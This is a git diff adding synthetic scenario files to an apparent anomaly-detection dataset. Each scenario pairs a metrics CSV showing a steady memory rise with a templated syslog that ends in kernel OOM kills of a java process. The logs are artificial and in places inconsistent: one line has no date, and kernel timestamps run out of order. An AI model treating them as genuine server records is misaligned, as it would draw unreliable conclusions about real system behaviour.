+2025-07-03T14:01:50Z,16.51,48.03,10.08,0.94,1.11 +2025-07-03T14:01:55Z,11.65,49.72,10.0,0.71,1.33 +2025-07-03T14:02:00Z,16.7,49.76,38.52,0.89,0.82 +2025-07-03T14:02:05Z,6.14,48.33,10.0,0.91,0.96 +2025-07-03T14:02:10Z,14.53,48.64,28.51,0.55,0.84 +2025-07-03T14:02:15Z,14.77,49.38,10.0,0.48,0.76 +2025-07-03T14:02:20Z,10.05,49.61,37.17,0.91,1.26 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+2025-07-03T14:04:05Z,8.04,62.4,10.0,0.56,1.31 +2025-07-03T14:04:10Z,14.36,65.15,26.73,0.82,0.78 +2025-07-03T14:04:15Z,16.17,64.25,38.96,0.61,1.13 +2025-07-03T14:04:20Z,15.47,65.88,29.44,0.69,0.87 +2025-07-03T14:04:25Z,14.62,66.16,74.83,0.91,1.16 +2025-07-03T14:04:30Z,13.62,65.78,51.48,0.78,0.57 +2025-07-03T14:04:35Z,12.77,64.25,32.12,0.91,1.39 +2025-07-03T14:04:40Z,10.34,65.07,16.45,0.72,1.42 +2025-07-03T14:04:45Z,13.37,66.35,12.67,0.85,1.48 +2025-07-03T14:04:50Z,15.2,66.94,29.85,1.14,1.42 +2025-07-03T14:04:55Z,17.73,68.53,10.0,1.18,1.15 +2025-07-03T14:05:00Z,12.53,68.31,32.6,1.09,1.26 +2025-07-03T14:05:05Z,23.16,69.16,10.0,0.78,1.05 +2025-07-03T14:05:10Z,15.54,69.13,10.0,0.68,1.08 +2025-07-03T14:05:15Z,20.4,69.77,50.33,0.82,1.22 +2025-07-03T14:05:20Z,16.14,71.12,25.48,0.74,0.9 +2025-07-03T14:05:25Z,15.89,72.06,36.61,0.62,1.21 +2025-07-03T14:05:30Z,11.62,72.35,32.43,0.89,1.25 +2025-07-03T14:05:35Z,21.3,74.77,24.82,0.86,1.42 +2025-07-03T14:05:40Z,19.44,74.16,35.23,0.61,1.52 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+2025-07-03T14:07:25Z,17.28,83.66,233.62,0.52,1.07 diff --git a/anom_dataset/scenario_2/anom_2_22.log b/anom_dataset/scenario_2/anom_2_22.log new file mode 100644 index 0000000000000000000000000000000000000000..cecc18bb3d8631a07079927e529ea0c6d435305e --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_22.log @@ -0,0 +1,22 @@ +Jul 03 14:00:00 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:00:15 systemd[1]: Started Session 3 of user app-user. +Jul 03 14:00:50 CRON[1810]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 14:01:15 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:01:30 web-server[5432]: 10.0.1.5 - - [03/Jul/2025:14:01:30 ] "GET /api/v1/data" 200 1547 +Jul 03 14:02:20 systemd[1]: Started Session 28 of user app-user. +Jul 03 14:02:30 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:02:55 CRON[1835]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 14:03:35 web-server[5432]: 10.0.1.5 - - [03/Jul/2025:14:03:35 ] "GET /api/v1/data" 200 1547 +Jul 03 14:03:45 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:04:25 systemd[1]: Started Session 53 of user app-user. +Jul 03 14:05:00 CRON[1860]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 14:05:00 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:05:40 web-server[5432]: 10.0.1.5 - - [03/Jul/2025:14:05:40 ] "GET /api/v1/data" 200 1547 +Jul 03 14:06:15 kernel: [1234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:06:30 systemd[1]: Started Session 78 of user app-user. +Jul 03 14:07:05 CRON[1885]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 14:07:10 kernel: [1734.21] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 03 14:07:10 kernel: [1734.22] CPU: 1 PID: 12345 Comm: java Not tainted 5.4.0-100-generic +Jul 03 14:07:10 kernel: [1734.25] Memory cgroup out of memory: Killed process 12345 (java) total-vm:12582912kB, anon-rss:8388608kB, file-rss:0kB, shmem-rss:0kB +Jul 03 14:07:20 kernel: [1734.30] oom_reaper: reaped process 12345 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +Jul 03 14:07:20 systemd[1]: session-c5.scope: A process of this unit has been killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_23.csv b/anom_dataset/scenario_2/anom_2_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..26b80479fba28cda962503caa1b677565db2d1b8 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,14.15,35.04,28.95,0.62,0.58 +2025-08-15T10:00:05Z,14.21,35.2,28.73,1.21,0.88 +2025-08-15T10:00:10Z,14.77,35.56,22.4,0.74,1.29 +2025-08-15T10:00:15Z,14.75,35.59,19.89,0.74,1.04 +2025-08-15T10:00:20Z,15.11,35.05,25.57,0.81,1.31 +2025-08-15T10:00:25Z,15.39,39.16,33.4,0.97,0.94 +2025-08-15T10:00:30Z,14.29,38.68,22.23,0.7,1.3 +2025-08-15T10:00:35Z,16.0,38.69,29.62,0.82,1.28 +2025-08-15T10:00:40Z,16.04,39.21,26.68,0.89,1.37 +2025-08-15T10:00:45Z,15.53,38.89,32.26,0.64,1.12 +2025-08-15T10:00:50Z,14.86,41.77,33.59,0.75,1.27 +2025-08-15T10:00:55Z,14.3,41.91,29.29,1.05,0.84 +2025-08-15T10:01:00Z,16.03,42.23,25.58,0.99,1.03 +2025-08-15T10:01:05Z,17.75,43.04,24.0,1.07,0.93 +2025-08-15T10:01:10Z,12.57,43.0,27.74,0.71,1.25 +2025-08-15T10:01:15Z,13.41,45.58,16.3,0.73,1.2 +2025-08-15T10:01:20Z,18.35,45.62,19.15,0.51,0.9 +2025-08-15T10:01:25Z,17.3,46.25,25.2,0.78,0.91 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+2025-08-15T10:06:30Z,12.47,89.52,30.5,0.34,1.61 +2025-08-15T10:06:35Z,11.28,90.16,21.86,0.57,0.9 +2025-08-15T10:06:40Z,16.42,91.72,25.55,0.72,1.22 +2025-08-15T10:06:45Z,19.23,92.55,17.24,1.07,0.99 +2025-08-15T10:06:50Z,18.27,94.03,25.89,1.02,0.91 +2025-08-15T10:06:55Z,20.78,92.51,33.29,0.89,1.01 +2025-08-15T10:07:00Z,16.3,93.67,21.81,0.99,1.1 +2025-08-15T10:07:05Z,15.62,96.12,174.89,0.64,1.77 +2025-08-15T10:07:10Z,7.63,95.99,151.61,0.54,1.04 +2025-08-15T10:07:15Z,16.56,97.06,196.36,0.72,1.49 +2025-08-15T10:07:20Z,9.99,96.8,180.89,0.88,1.66 +2025-08-15T10:07:25Z,9.61,97.09,187.0,1.11,1.48 diff --git a/anom_dataset/scenario_2/anom_2_23.log b/anom_dataset/scenario_2/anom_2_23.log new file mode 100644 index 0000000000000000000000000000000000000000..29e7ac909996d76be4630c860e4a016ff7dd9a2a --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_23.log @@ -0,0 +1,16 @@ +Aug 15 10:00:00 kubelet[2150]: INFO Liveness probe succeeded for pod api-gateway +Aug 15 10:00:35 CRON[3120]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:01:10 sshd[10500]: Accepted publickey for user from 10.0.2.15 port 45322 ssh2: RSA SHA256:... +Aug 15 10:01:45 kubelet[2150]: INFO routine sync completed for pod web-app-xyz +Aug 15 10:02:20 CRON[3120]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:02:55 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:03:30 kubelet[2150]: INFO Liveness probe succeeded for pod api-gateway +Aug 15 10:04:05 systemd[1]: Started Session 90 of user admin. +Aug 15 10:04:40 kubelet[2150]: INFO Liveness probe succeeded for pod api-gateway +Aug 15 10:05:15 kubelet[2150]: INFO Liveness probe succeeded for pod api-gateway +Aug 15 10:05:50 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:06:25 kubelet[2150]: INFO routine sync completed for pod web-app-xyz +Aug 15 10:07:00 systemd[1]: Started Session 13 of user admin. +kernel: [1755252435.312] oom-killer: freeing memory... +Aug 15 10:07:15 kernel: [1755252435.755] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Aug 15 10:07:15 kernel: [1755252435.621] Out of memory: Kill process 10027 (java) score 951 or sacrifice child diff --git a/anom_dataset/scenario_2/anom_2_24.csv b/anom_dataset/scenario_2/anom_2_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..1b8be10b7abed0de864da2d0405cd0e722f5cd25 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,14.39,35.26,28.65,0.6,0.95 +2025-07-02T11:00:05Z,14.33,36.41,24.08,0.74,1.72 +2025-07-02T11:00:10Z,17.09,36.74,21.32,0.47,1.37 +2025-07-02T11:00:15Z,16.33,37.3,28.3,0.8,1.07 +2025-07-02T11:00:20Z,15.14,37.88,27.74,0.39,0.88 +2025-07-02T11:00:25Z,16.44,39.99,25.12,0.99,1.31 +2025-07-02T11:00:30Z,13.26,39.5,21.67,0.82,1.21 +2025-07-02T11:00:35Z,14.96,39.72,20.0,0.87,1.26 +2025-07-02T11:00:40Z,15.79,39.74,23.84,0.86,0.87 +2025-07-02T11:00:45Z,13.65,41.04,21.88,1.06,1.21 +2025-07-02T11:00:50Z,15.09,42.68,23.51,0.79,0.57 +2025-07-02T11:00:55Z,12.88,42.87,22.99,0.44,1.21 +2025-07-02T11:01:00Z,17.59,42.96,28.01,0.67,1.29 +2025-07-02T11:01:05Z,16.06,44.27,27.27,0.42,1.64 +2025-07-02T11:01:10Z,14.86,44.9,23.37,0.82,1.17 +2025-07-02T11:01:15Z,14.85,46.72,26.22,1.12,1.01 +2025-07-02T11:01:20Z,17.93,46.36,27.23,0.73,1.42 +2025-07-02T11:01:25Z,18.19,47.89,20.56,0.87,1.55 +2025-07-02T11:01:30Z,15.39,48.33,23.61,0.69,1.69 +2025-07-02T11:01:35Z,17.24,49.05,24.67,0.96,1.12 +2025-07-02T11:01:40Z,15.86,49.2,24.41,0.55,0.77 +2025-07-02T11:01:45Z,16.16,49.8,22.06,0.73,0.69 +2025-07-02T11:01:50Z,16.49,50.53,29.4,0.61,1.0 +2025-07-02T11:01:55Z,15.23,52.22,24.68,0.68,0.85 +2025-07-02T11:02:00Z,17.87,52.26,27.22,0.99,1.38 +2025-07-02T11:02:05Z,16.24,53.33,14.5,0.98,0.76 +2025-07-02T11:02:10Z,19.3,53.64,21.44,0.98,1.18 +2025-07-02T11:02:15Z,16.98,54.38,26.78,0.71,0.94 +2025-07-02T11:02:20Z,16.72,54.61,20.4,1.09,1.3 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+2025-07-02T11:07:25Z,26.09,98.66,65.74,0.37,0.59 diff --git a/anom_dataset/scenario_2/anom_2_24.log b/anom_dataset/scenario_2/anom_2_24.log new file mode 100644 index 0000000000000000000000000000000000000000..3bf26104231c4372e4bf171842ebf5bcbda4a227 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_24.log @@ -0,0 +1,23 @@ +Jul 02 11:00:40 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:01:30 server-1 sshd[13452]: Accepted publickey for user admin from 10.0.2.2 port 48722 ssh2 +Jul 02 11:01:40 server-1 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:02:25 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:30 server-1 kubelet[2345]: INFO Liveness probe for container 'main-app' in pod 'webapp-7d9d6c7b9c-j2xlm' succeeded +Jul 02 11:02:55 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:03:00 server-1 sshd[13452]: Connection closed by 10.0.2.2 port 48722 +Jul 02 11:03:05 server-1 auditd[1]: User login succeeded for user admin (uid=1001) +Jul 02 11:03:15 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:03:20 server-1 sshd[13452]: Accepted publickey for user admin from 10.0.2.2 port 48722 ssh2 +Jul 02 11:03:35 server-1 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:04:05 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:04:25 server-1 kubelet[2345]: INFO Liveness probe for container 'main-app' in pod 'webapp-7d9d6c7b9c-j2xlm' succeeded +Jul 02 11:04:45 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:04:50 server-1 sshd[13452]: Connection closed by 10.0.2.2 port 48722 +Jul 02 11:05:10 server-1 auditd[1]: User login succeeded for user admin (uid=1001) +Jul 02 11:05:35 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:05:50 server-1 sshd[13452]: Accepted publickey for user admin from 10.0.2.2 port 48722 ssh2 +Jul 02 11:06:20 server-1 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:06:35 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:07:20 server-1 kernel: [182731.34] Out of memory: Kill process 15234 (java) score 988 or sacrifice child +Jul 02 11:07:20 server-1 kernel: [182731.35] Killed process 15234 (java) total-vm:12458676kB, anon-rss:8345292kB, file-rss:0kB, shmem-rss:0kB +Jul 02 11:07:25 server-1 systemd[1]: session-c10.scope: A process was killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_25.csv b/anom_dataset/scenario_2/anom_2_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..2232a490b949365ea91728e21fc7244cfbbed33d --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,14.58,35.04,27.48,0.6,1.36 +2025-07-03T14:00:05Z,14.59,36.4,23.5,0.98,1.13 +2025-07-03T14:00:10Z,14.88,37.8,30.53,0.86,1.68 +2025-07-03T14:00:15Z,14.86,38.55,24.39,0.74,1.22 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+2025-07-03T14:07:00Z,18.9,93.35,25.46,1.2,0.97 +2025-07-03T14:07:05Z,17.61,93.68,76.7,0.82,0.62 +2025-07-03T14:07:10Z,9.14,94.27,168.62,0.65,1.28 +2025-07-03T14:07:15Z,17.18,96.39,277.04,0.77,0.98 +2025-07-03T14:07:20Z,17.53,97.33,250.63,0.72,1.37 +2025-07-03T14:07:25Z,9.92,98.83,210.05,0.87,0.75 diff --git a/anom_dataset/scenario_2/anom_2_25.log b/anom_dataset/scenario_2/anom_2_25.log new file mode 100644 index 0000000000000000000000000000000000000000..17e3b467a1b5b15f596d201ded8b66c703861ad2 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_25.log @@ -0,0 +1,31 @@ +Jul 03 14:00:00 server CRON[18002]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:00:00 server sshd[19003]: Accepted password for user admin from 10.0.2.5 port 51722 ssh2 +Jul 03 14:00:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:00:25 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:01:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:01:30 server com.company.app[1523]: WARN: High latency detected for database query: 'SELECT * FROM users'. Time: 1523ms +Jul 03 14:01:30 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:01:40 server CRON[18202]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:02:05 server com.company.app[1523]: INFO: User 'testuser' successfully authenticated. +Jul 03 14:02:10 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:02:30 server sshd[19303]: Accepted password for user admin from 10.0.2.5 port 51722 ssh2 +Jul 03 14:02:35 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:03:00 server com.company.app[1523]: WARN: High latency detected for database query: 'SELECT * FROM users'. Time: 1523ms +Jul 03 14:03:15 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:03:20 server CRON[18402]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:03:40 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:04:10 server com.company.app[1523]: INFO: User 'testuser' successfully authenticated. +Jul 03 14:04:20 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:04:30 server com.company.app[1523]: WARN: High latency detected for database query: 'SELECT * FROM users'. Time: 1523ms +Jul 03 14:04:45 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:05:00 server CRON[18602]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:05:00 server sshd[19603]: Accepted password for user admin from 10.0.2.5 port 51722 ssh2 +Jul 03 14:05:25 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:05:50 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:06:00 server com.company.app[1523]: WARN: High latency detected for database query: 'SELECT * FROM users'. Time: 1523ms +Jul 03 14:06:15 server com.company.app[1523]: INFO: User 'testuser' successfully authenticated. +Jul 03 14:06:30 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 14:06:40 server CRON[18802]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:06:55 server systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 14:07:15 server kernel: [18345.678912] oom-killer: Killing process 1523 (java) score 988 or sacrifice child +Jul 03 14:07:15 server kernel: [18345.679123] Killed process 1523 (java) total-vm:12345678kB, anon-rss:8765432kB, file-rss:0kB, shmem-rss:0kB diff --git a/anom_dataset/scenario_2/anom_2_26.csv b/anom_dataset/scenario_2/anom_2_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..1dfcd4ee1838d6c202c396a47bc6b2462bb59d57 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,22.7,29.77,20.72,1.05,0.91 +2025-07-15T14:30:05Z,16.41,29.79,20.87,0.75,1.14 +2025-07-15T14:30:10Z,13.46,31.29,24.06,0.53,1.74 +2025-07-15T14:30:15Z,16.55,32.52,20.76,0.71,1.42 +2025-07-15T14:30:20Z,14.02,32.02,28.47,0.79,1.57 +2025-07-15T14:30:25Z,17.71,33.25,34.49,0.66,1.52 +2025-07-15T14:30:30Z,19.66,34.92,23.57,0.91,1.44 +2025-07-15T14:30:35Z,15.46,34.42,27.62,0.61,1.5 +2025-07-15T14:30:40Z,17.47,35.5,27.82,0.77,1.61 +2025-07-15T14:30:45Z,15.28,36.98,27.54,0.66,1.19 +2025-07-15T14:30:50Z,14.83,34.62,28.05,0.9,1.53 +2025-07-15T14:30:55Z,15.12,35.93,21.27,0.44,1.22 +2025-07-15T14:31:00Z,16.85,36.56,25.42,0.96,0.96 +2025-07-15T14:31:05Z,16.85,37.63,21.01,0.88,1.1 +2025-07-15T14:31:10Z,15.81,38.98,24.39,1.03,1.33 +2025-07-15T14:31:15Z,18.73,39.34,21.9,0.84,1.11 +2025-07-15T14:31:20Z,20.09,40.06,34.76,0.56,1.12 +2025-07-15T14:31:25Z,15.84,40.49,28.34,0.69,1.16 +2025-07-15T14:31:30Z,15.39,40.75,22.56,0.24,1.36 +2025-07-15T14:31:35Z,16.92,41.32,25.08,0.61,1.13 +2025-07-15T14:31:40Z,20.01,40.32,25.32,1.06,1.03 +2025-07-15T14:31:45Z,19.17,40.8,28.04,0.9,1.36 +2025-07-15T14:31:50Z,17.86,42.2,24.61,0.9,1.01 +2025-07-15T14:31:55Z,14.28,43.5,29.61,0.87,0.74 +2025-07-15T14:32:00Z,15.2,43.59,23.2,0.77,1.19 +2025-07-15T14:32:05Z,21.25,44.69,13.92,0.84,0.85 +2025-07-15T14:32:10Z,18.02,45.25,21.71,0.69,1.28 +2025-07-15T14:32:15Z,19.18,46.9,22.86,0.92,1.43 +2025-07-15T14:32:20Z,16.69,46.0,24.04,0.75,0.83 +2025-07-15T14:32:25Z,19.78,47.02,27.32,1.0,1.03 +2025-07-15T14:32:30Z,19.09,43.4,32.41,0.73,0.34 +2025-07-15T14:32:35Z,21.31,45.64,25.72,0.57,1.34 +2025-07-15T14:32:40Z,15.81,45.5,15.79,0.85,0.79 +2025-07-15T14:32:45Z,20.16,45.74,20.88,0.69,1.59 +2025-07-15T14:32:50Z,21.33,47.04,14.6,0.81,1.09 +2025-07-15T14:32:55Z,19.89,47.8,17.84,0.71,1.38 +2025-07-15T14:33:00Z,17.06,49.02,24.85,0.76,1.01 +2025-07-15T14:33:05Z,19.61,49.05,20.85,1.07,0.42 +2025-07-15T14:33:10Z,16.5,50.0,20.42,0.59,1.34 +2025-07-15T14:33:15Z,18.7,50.03,18.33,0.77,1.19 +2025-07-15T14:33:20Z,15.72,48.82,23.13,0.7,0.64 +2025-07-15T14:33:25Z,16.23,50.91,23.76,1.04,1.25 +2025-07-15T14:33:30Z,16.61,50.68,25.52,0.82,1.03 +2025-07-15T14:33:35Z,14.26,51.27,25.89,0.58,1.13 +2025-07-15T14:33:40Z,18.28,51.01,22.93,0.68,1.08 +2025-07-15T14:33:45Z,17.47,52.02,23.76,0.9,1.44 +2025-07-15T14:33:50Z,22.25,53.74,28.04,0.65,1.05 +2025-07-15T14:33:55Z,12.66,53.78,20.44,0.57,1.16 +2025-07-15T14:34:00Z,17.28,54.04,23.87,0.81,1.23 +2025-07-15T14:34:05Z,16.62,55.39,24.63,0.8,0.67 +2025-07-15T14:34:10Z,18.47,53.75,31.92,0.6,1.0 +2025-07-15T14:34:15Z,14.2,54.35,31.33,0.71,0.93 +2025-07-15T14:34:20Z,15.52,55.15,19.49,0.62,1.31 +2025-07-15T14:34:25Z,16.64,56.59,26.55,1.05,1.0 +2025-07-15T14:34:30Z,15.77,57.79,23.97,1.07,1.75 +2025-07-15T14:34:35Z,17.74,57.69,29.48,0.71,1.29 +2025-07-15T14:34:40Z,16.65,57.67,23.68,0.3,1.39 +2025-07-15T14:34:45Z,17.39,58.77,28.4,0.84,1.34 +2025-07-15T14:34:50Z,14.64,60.24,31.65,0.71,1.13 +2025-07-15T14:34:55Z,17.82,60.53,27.09,0.74,1.77 +2025-07-15T14:35:00Z,19.08,59.14,29.97,0.75,1.09 +2025-07-15T14:35:05Z,18.8,58.61,23.97,0.89,0.88 +2025-07-15T14:35:10Z,16.26,59.45,22.5,1.01,0.86 +2025-07-15T14:35:15Z,17.4,60.6,16.03,0.9,1.39 +2025-07-15T14:35:20Z,14.4,60.22,27.8,0.56,0.91 +2025-07-15T14:35:25Z,19.61,61.97,24.31,0.95,1.38 +2025-07-15T14:35:30Z,18.39,62.74,22.12,0.86,1.23 +2025-07-15T14:35:35Z,17.64,64.09,22.7,0.69,1.04 +2025-07-15T14:35:40Z,22.75,64.26,29.76,0.85,0.89 +2025-07-15T14:35:45Z,21.57,65.28,18.57,0.64,1.24 +2025-07-15T14:35:50Z,17.34,63.35,18.91,0.64,1.34 +2025-07-15T14:35:55Z,20.41,64.28,20.77,0.89,0.95 +2025-07-15T14:36:00Z,17.77,65.11,30.24,0.66,1.06 +2025-07-15T14:36:05Z,17.21,64.75,26.26,0.51,1.39 +2025-07-15T14:36:10Z,17.26,66.49,31.84,0.27,1.1 +2025-07-15T14:36:15Z,18.68,67.69,29.59,0.74,1.17 +2025-07-15T14:36:20Z,16.33,68.95,27.72,0.72,0.67 +2025-07-15T14:36:25Z,18.54,69.03,24.29,0.92,1.2 +2025-07-15T14:36:30Z,15.94,68.79,27.86,0.81,1.54 +2025-07-15T14:36:35Z,19.52,70.14,26.82,0.64,1.09 +2025-07-15T14:36:40Z,17.52,67.74,24.3,0.87,0.98 +2025-07-15T14:36:45Z,16.14,68.05,30.37,0.74,1.35 +2025-07-15T14:36:50Z,18.18,69.45,36.05,1.08,0.97 +2025-07-15T14:36:55Z,18.68,69.54,43.62,0.83,1.86 +2025-07-15T14:37:00Z,16.33,70.33,54.79,0.58,1.77 +2025-07-15T14:37:05Z,18.06,70.09,63.75,0.69,0.74 +2025-07-15T14:37:10Z,17.79,72.37,70.36,0.68,1.19 +2025-07-15T14:37:15Z,19.5,72.01,86.66,1.09,1.03 +2025-07-15T14:37:20Z,14.68,72.55,88.9,0.85,1.2 +2025-07-15T14:37:25Z,20.68,74.51,100.0,0.37,0.85 diff --git a/anom_dataset/scenario_2/anom_2_26.log b/anom_dataset/scenario_2/anom_2_26.log new file mode 100644 index 0000000000000000000000000000000000000000..38d7c5d76694fab5f62f886f426954eabc230cb4 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_26.log @@ -0,0 +1,14 @@ +Jul 15 14:30:03 kubelet[2134]: INFO: Successfully probed container health-check +Jul 15 14:30:43 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:31:22 sshd[5678]: Accepted publickey for user admin from 10.0.1.5 port 12345 ssh2 +Jul 15 14:32:02 systemd[1]: Started Session 78 of user root. +Jul 15 14:32:43 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:33:21 nginx[4321]: GET /health HTTP/1.1 200 OK +Jul 15 14:34:01 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:34:41 sshd[5678]: Accepted publickey for user admin from 10.0.1.5 port 12345 ssh2 +Jul 15 14:35:21 kubelet[2134]: INFO: Successfully probed container health-check +Jul 15 14:36:02 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:36:41 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:37:02 kernel: [ 1752590222.000000] Out of memory: Kill process 10581 (java) score 987 or sacrifice child +Jul 15 14:37:02 kernel: [ 1752590222.100000] Killed process 10581 (java) total-vm:12345678kB, anon-rss:8765432kB, file-rss:0kB, shmem-rss:0kB +Jul 15 14:37:22 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_2/anom_2_27.csv b/anom_dataset/scenario_2/anom_2_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..8fb14cb3625d244c3ea3a75915c307c5e0fcdbc6 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,15.04,35.02,30.62,0.73,1.99 +2025-07-02T10:00:05Z,16.24,34.85,29.03,0.71,1.11 +2025-07-02T10:00:10Z,13.91,36.13,32.0,0.5,1.25 +2025-07-02T10:00:15Z,11.09,37.25,24.94,0.54,0.84 +2025-07-02T10:00:20Z,12.55,38.04,28.51,1.01,1.55 +2025-07-02T10:00:25Z,11.72,38.2,31.19,1.21,0.9 +2025-07-02T10:00:30Z,16.75,38.63,26.79,0.89,1.64 +2025-07-02T10:00:35Z,12.6,39.93,35.81,0.88,1.58 +2025-07-02T10:00:40Z,11.94,41.08,24.84,0.68,0.85 +2025-07-02T10:00:45Z,14.85,40.31,30.27,0.97,1.27 +2025-07-02T10:00:50Z,17.11,40.45,34.16,0.91,1.53 +2025-07-02T10:00:55Z,11.39,41.16,29.89,0.67,1.01 +2025-07-02T10:01:00Z,13.65,41.32,16.33,0.77,0.95 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+2025-07-02T10:06:05Z,16.44,86.72,36.3,0.65,1.13 +2025-07-02T10:06:10Z,12.64,87.58,26.07,0.6,0.87 +2025-07-02T10:06:15Z,15.56,89.12,25.74,0.8,1.15 +2025-07-02T10:06:20Z,18.05,88.68,21.24,0.84,1.35 +2025-07-02T10:06:25Z,17.43,89.96,29.38,0.85,1.33 +2025-07-02T10:06:30Z,19.85,90.94,23.66,0.78,1.06 +2025-07-02T10:06:35Z,18.94,90.38,24.88,0.86,1.15 +2025-07-02T10:06:40Z,13.07,91.58,155.51,0.76,1.16 +2025-07-02T10:06:45Z,12.92,92.27,205.64,0.59,1.76 +2025-07-02T10:06:50Z,14.98,93.46,197.75,0.41,1.03 +2025-07-02T10:06:55Z,10.23,93.67,154.12,1.27,1.02 +2025-07-02T10:07:00Z,9.93,94.77,208.2,0.73,1.2 +2025-07-02T10:07:05Z,13.04,92.99,151.2,0.77,1.47 +2025-07-02T10:07:10Z,14.58,95.36,151.8,0.61,1.78 +2025-07-02T10:07:15Z,18.66,93.62,218.38,0.67,0.95 +2025-07-02T10:07:20Z,17.67,97.54,27.75,0.71,1.42 +2025-07-02T10:07:25Z,18.74,98.18,21.11,0.64,0.86 diff --git a/anom_dataset/scenario_2/anom_2_27.log b/anom_dataset/scenario_2/anom_2_27.log new file mode 100644 index 0000000000000000000000000000000000000000..f28f39950dd8271331554117dea0f5ef1955ff25 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_27.log @@ -0,0 +1,25 @@ +Jul 02 10:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:02 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:00:26 kubelet[2345]: INFO routine sync completed for pod web-app-blue +Jul 02 10:00:51 